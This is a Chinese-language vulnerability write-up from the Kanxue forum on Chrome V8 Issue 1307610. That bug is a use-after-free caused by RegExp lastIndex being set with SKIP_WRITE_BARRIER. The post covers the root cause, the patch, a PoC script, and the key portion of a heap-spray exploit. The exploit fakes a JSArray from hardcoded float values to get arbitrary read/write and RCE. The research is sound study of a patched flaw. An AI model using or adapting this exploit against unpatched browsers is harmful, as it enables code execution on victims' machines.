本文为看雪论坛优秀文章
看雪论坛作者ID:苏啊树
环境:Ubuntu 18.04
GDB
V8 9.9.115
由于接触v8的时间的原因,导致对v8漏洞熟悉的大部分为Turbofan,IC模块的,类型大部分为混淆或者检测绕过类型,对v8出现的传统的UAF漏洞类型反而不太熟悉,最近就通过这个case对这种类型漏洞进行学习。
一
前言
1.1:v8在引入指针压缩之后,在索引对象的时候,使用的是短指针,也就是对象地址的后4个字节指向需要指向的对象。
其实原理是预先跟系统申请4GB地址空间,然后在这个空间上开始初始化各种对象。
1.2:v8在对象初始化的时候,通常顺序是非常非常的固定(其顺序跟v8版本有关系),这就导致在特定版本的v8之中,v8默认类型的map(v8对象的原型),地址的前面4个字节是随机的(因为是系统分配的),而后面的4字节一般是固定的(因为是v8自己按照固定顺序加载的)。
假设有个对象var array=[1.1],他的map是在v8加载你写的js之前就已经确定,所以如果你第一次调试得到map为0x08203af9,重新调试地址还是为0x08203af9。
完整的地址为0xXXXXXXXX0x08203af9。
只有前面的4个字节地址实现了随机化,而v8引入指针压缩后是采用后4个字节地址表示对象地址的,所以在这个版本的v8中,var array=[1.1]的map就一直为为0x08203af9。
1.3:同样的,如果我们在js中自定义了一个var array=[1.1]实例,只要不改变前面的内容,v8就会在一个固定的地址创建这个array数组实例,比如这次加载的地址为0x0804ad61,那么只要不改变var array=[1.1]前面的js加载顺序,就算重新加载这个js文件,v8还是会在0x0804ad61地址创建这个实例,而通过简单的运算elements则会指向0x0x0804ad51。
在实际的漏洞利用之中,如果知道v8的版本,利用v8的这种堆分配特性,不需要泄露出我们申请的对象的地址,就可以通过调试和简单的计算得到我们需要的所有对象地址。
下面是调试说明:
图:1.3.1系统环境
待测试的js代码:
var array = [1.1];
%DebugPrint(array);
%SystemBreak();
图 :1.3.2 第一次加载数组的地址
图 :1.3.3 第一次加载数组的内存结构
图 :1.3.4 第二次加载数组的地址
图 :1.3.5 第二次加载数组的内存结构
图 :1.3.6 重启后加载数组的地址
图 :1.3.7 重启后加载数组的地址
通过调试我们可以知道var array=[1.1]的地址后4字节始终没有变,指向的结构内容也始终没有变。
二
Issue 1307610
2.1 Issue 1307610 root case
2.1.1:使用RegExp对象调用’re[Symbol.replace]’函数时,如果RegExp对象不再是fast mode或者初始的RegExp对象已经被修改,v8就会用Runtime::kRegExpReplaceRT函数来处理这个过程。
2.1.2:如果该RegExp为一个全局对象,就会调用’RegExpUtils::SetAdvancedStringIndex’来设置lastIndex,这个函数最终会调用’RegExpUtils::AdvanceString’,在这里,last_index将会增加,然后将新的last_index传递给’SetLastIndex’。
MaybeHandle<Object> RegExpUtils::SetLastIndex(Isolate* isolate,
Handle<JSReceiver> recv,
uint64_t value) {
Handle<Object> value_as_object =
isolate->factory()->NewNumberFromInt64(value); /*** A ***/
if (HasInitialRegExpMap(isolate, *recv)) { /*** B ***/
JSRegExp::cast(*recv).set_last_index(*value_as_object, SKIP_WRITE_BARRIER); /*** C ***/
return recv;
} else {
return Object::SetProperty(
isolate, recv, isolate->factory()->lastIndex_string(), value_as_object,
StoreOrigin::kMaybeKeyed, Just(kThrowOnError));
}
}
2.1.3:在RegExpUtils::SetLastIndex处理中,会进入’NewNumberFromInt64’,将会转换当前的’last_index’设置为一个integer或者一个HeapNumber(具体看传入的值是什么,如果大于SMI,就会用HeapNumber,否则就会使用Interger)。
然后如果满足条件HasInitialRegExpMap(isolate, *recv),也就是这个对象为fast的情况下。’last_index’将会用’SKIP_WRITE_BARRIER’标志位创建一个对象。
2.1.3:在使用’SKIP_WRITE_BARRIER’标志位set_last_index的情况下,如果’last_index’为一个HeapNumber对象的情况,我们可以将regexp通过垃圾回收进入了old-space,HeapNumber因为用了’SKIP_WRITE_BARRIER’标志位,所以可以通过一定的内存处理手段,在新的内存空间NewSpace中申请空间创建HeapNumber对象,由于regexp对象和这个HeapNumber对象并不在一块v8的内存管理空间,根据v8的垃圾回收机制,v8并不能通过regexp跟踪到HeapNumber对象的生命周期。所以当此时出发垃圾回收,由于v8不能跟踪这个HeapNumber对象实例的重新创建,因此regexp.last_index会变成悬垂的指针。
2.2 POC的构造
需要满足的条件:
第一:创建全局对象RegExp,修改全局对象RegExp,使得其满足能进入Runtime::kRegExpReplaceRT函数。
第二:将re.lastIndex设置为1073741823;,在随后的’RegExpUtils::SetAdvancedStringIndex’中会将其+1,结果为1073741824。因为超过了SMI的范围,因此re.lastIndex会申请一个带有SKIP_WRITE_BARRIER标志的堆创建HeapNumber()对象,来存储这个re.lastIndex。
第三:触发write_barrier,使得re对象和re.lastIndex在不同过的CG管理域,让v8无法随后通过re对象追踪re.lastIndex所指向的HeapNumber()对象地址变化。
第四:触发垃圾回收,让前面的HeapNumber()所在的空间被回收,re对象由于没有办法追踪这个对象,导致re.lastIndex没有再跟新,从而变为悬垂的指针。
var re = new RegExp('foo', 'g');//条件1:创建全局对象RegExp
function major_gc() {
new ArrayBuffer(0x7fe00000);
}
function minor_gc() {
for (var i = 0; i < 32; i++) {
ref[rid++] = new ArrayBuffer(0x200000);
}
ref[rid++] = new ArrayBuffer(1); // ram heuristic
}
//%DebugPrint(re);
var tmp = re.exec;
var match_object = {};
match_object[0] = {
toString : function() {
return "";
}
};
re.exec = function() {
major_gc(); // mark-sweep
delete re.exec; //条件1:修改全局对象re,使得其能进入Runtime::kRegExpReplaceRT函数
re.lastIndex = 1073741823; // 条件2:设置re.lastIndex为max smi,其后触发re.exec时会+1,让其变成一个HeapNumber()对象
RegExp.prototype.exec = function() {
throw ''; // break out of Regexp.replace
}
return match_object;//返回该过程正确的对象
};
try {
var newstr = re[Symbol.replace]("fooooo", ".$");
} catch(e) {}
minor_gc();//条件3:触发write_barrier,使得re对象和re.lastIndex分别在两个堆块,使得re对象无法追踪re.lastIndex对象
minor_gc();
major_gc();//条件4:触发垃圾回收,让re.lastIndex变为悬垂的指针
print(re.lastIndex);
2.3:补丁
这里的补丁也非常简单,只要修改
JSRegExp::cast(*recv).set_last_index(*value_as_object, SKIP_WRITE_BARRIER);
的SKIP_WRITE_BARRIER标志位为UPDATE_WRITE_BARRIER,让v8可以一直通过re对象追踪到re.lastIndex就可以。
图 2.3.1
三
Issue 1307610的利用技巧
图3.1.1 HeapObject
https://thlorenz.com/v8-dox/build/v8-3.25.30/html/d1/d8c/classv8_1_1internal_1_1_heap_number.html
3.1.1:根据v8对HeapNumber的说明,HeapNumber为HeapObject的父对象,HeapObject为Object的父对象。
因为v8是根据map来辨别对象的,所以我们在触发UAF之后,在map所在的内存中用我们预先设定的某个对象的map值来占据,然后引用re.lastIndex,v8就会将其解释为我们想要设定的那个对象。
3.1.2:由1的中我们可以看到 var array=[1.1],这种数组对象的内存结构为
[map,properties,elements,length]
[4字节+4字节+4字节+4字节]
根据1所诉的内容,只需要在在第一次调试时将array地址以后的16字节数据保存,然后转换为2个浮点数。在我这个环境得到的这2个浮点数为:
1.86756861281384e-310,8.3440269836909e-309
3.1.3:利用这个悬垂指针的漏洞源语,在HeapNumber对象释放以后,利用用这2个浮点数填充满的的浮点数组fake_object_array,占据原本的HeapNumber对象原来所在的空间。
图 3.1.3 地址喷射
fake_object_array = [1.86756861281384e-310,8.3440269836909e-309,1.86756861281384e-310,8.3440269836909e-309,1.86756861281384e-310,8.3440269836909e-309…];
紧接着再引用re.lastIndex,v8就会把re.lastIndex就会将这个引用解释为[1.1]结构的对象。
3.1.4:因为fake_object_array是我们能完全控制的,到这一步我们等于拥有了一个任意控制的数组,再通过修改re.lastIndex引用的伪造数组的elements指针的地址值,就可以进行任意地址的读写,最后完成v8 里面的RCE。
本人的环境是通过修改fake_object_array[0x83]。
3.1.5
Exp关键部分:
var re = new RegExp('foo', 'g');
var match_object = {};
match_object[0] = {
toString : function() {
return "";
}
};
re.exec = function() {
helper.mark_sweep_gc();
delete re.exec; //将re对象转换为 initial regexp map
re.lastIndex = 1073741823; // 最大的 smi值, 再加个1就会转换为 HeapNumber
new Array(256); // 添加新的空间,然后申请·NewHeapNumber<newSpace>,这个空间会在接下来的垃圾回收过程中被回收,注意这个数组不能大于后面fake_object_array的大小,不然会导致无法覆盖我们自定义的数组数据。
RegExp.prototype.exec = function() {
throw ''; // break out of Regexp.replace
}//触发漏洞过程
return match_object;//返回正确的对象
};
try {
var newstr = re[Symbol.replace]("fooooo", ".$");
} catch(e) {}
helper.scavenge_gc(); // 触发 write-barrier
helper.mark_sweep_gc(); // 触发垃圾回收 GC
//在新申请的空间上喷射我们前面构造好的伪造对象浮点数
fake_object_array = [3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314];
return re;
3.5.2 需要注意点是fake_object_array所能占据的空间必须比
re.exec = function() {
helper.mark_sweep_gc();
delete re.exec; //将re对象转换为 initial regexp map
re.lastIndex = 1073741823; // 最大的 smi值, 再加个1就会转换为 HeapNumber
new Array(256); // 添加新的空间,然后申请·NewHeapNumber<newSpace>,这个空间会在接下来的垃圾回收过程中被回收,注意这个数组不能大于后面fake_object_array的大小,不然会导致无法覆盖我们自定义的数组数据。
RegExp.prototype.exec = function() {
throw ''; // break out of Regexp.replace
}//触发漏洞过程
return match_object;//返回正确的对象
};
里面的new Array(256)要大,否则无法覆盖到re,lastIndex引用。在拥有这个完全控制的数组对象后,通过创建越界读写原语,能轻松的进行v8进程的RCE。
图 3.1.5 成功RCE
四
总结
由于这种RCE依靠提前获得map和elements指针的地址,map和elements指针猜测跟v8的版本有关,所有这类的漏洞利用感觉各个版本的兼容性应该不怎么好,堆喷的浮点数组的值要根据版本进行修改,总体感觉利用过程还是比较传统简单,感觉这个case POC和利用的精髓是对SKIP_WRITE_BARRIER标志位的理解。
参考
看雪ID:苏啊树
https://bbs.kanxue.com/user-home-808412.htm
# 往期推荐
球分享
球点赞
球在看
点击“阅读原文”,了解更多!
原文始发于微信公众号(看雪学苑):Chrome v8 Issue 1307610漏洞及其利用分析